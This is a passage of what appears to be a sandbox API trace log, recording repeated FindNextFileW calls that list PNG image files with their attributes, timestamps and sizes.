lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cb99ab, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cb99ab, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4e9f29c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_m.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cdfb0a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8cdfb0a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4ec53fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_s.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d05c69, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d05c69, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4eeb55c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7fb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_settings.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d05c69, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d05c69, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4eeb55c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x876e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d51f27, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d51f27, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4eeb55c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x141, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_dot.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d2bdc8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d2bdc8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f3781c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_h.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d2bdc8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d2bdc8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f83adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_m.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d2bdc8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d2bdc8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f83adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc14, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_s.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d51f27, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d51f27, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f83adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x827b, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_settings.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d78086, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d78086, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f83adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3cfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8dc4344, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8dc4344, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fa9c3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_dot.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d78086, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d78086, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fa9c3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_h.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d9e1e5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d9e1e5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fa9c3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_m.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d9e1e5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d9e1e5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fa9c3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbde, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_s.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8dea4a3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8dea4a3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fcfd9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x51d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_settings.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e10602, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e10602, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fcfd9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6408, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e5c8c0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e5c8c0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fcfd9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_dot.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e36761, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e36761, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4ff5efc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_h.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e36761, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e36761, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4ff5efc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_m.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e5c8c0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e5c8c0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4ff5efc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb67, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_s.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e82a1f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e82a1f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4ff5efc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x702e, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_settings.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fff7d5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fff7d5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb501c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_bottom.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fff7d5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fff7d5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb501c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_left.png", cAlternateFileName="")) returned 1 [0089.955] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9025934, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9025934, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb501c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_right.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9025934, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9025934, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb501c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_left.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb904ba93, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb904ba93, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50421bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_right.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb904ba93, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb904ba93, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50421bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_top.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb904ba93, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb904ba93, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50421bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_left.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9071bf2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9071bf2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50421bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_right.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9071bf2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9071bf2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb506831c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_left.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9097d51, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9097d51, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb506831c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_right.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9097d51, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9097d51, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb506831c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x83, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90bdeb0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb90bdeb0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb508e47c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_left.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90bdeb0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb90bdeb0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb508e47c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_right.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90e400f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb90e400f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50b45dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_disabled.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb910a16e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb910a16e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50da73c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_hover.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91302cd, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb91302cd, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50da73c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_pressed.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91302cd, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb91302cd, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb50da73c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_rest.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb915642c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb915642c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb510089c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_disabled.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb915642c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb915642c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb510089c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_hover.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb915642c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb915642c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb510089c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_pressed.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb917c58b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb917c58b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb51269fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_rest.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e82a1f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8e82a1f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb533bd3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x120, dwReserved0=0x0, dwReserved1=0x0, cFileName="spacer_highlights.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ea8b7e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ea8b7e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb533bd3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4eac, dwReserved0=0x0, dwReserved1=0x0, cFileName="square.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ececdd, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ececdd, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb533bd3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_dot.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ea8b7e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ea8b7e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb5361e9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1db, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_h.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ea8b7e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ea8b7e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb5361e9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_m.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: 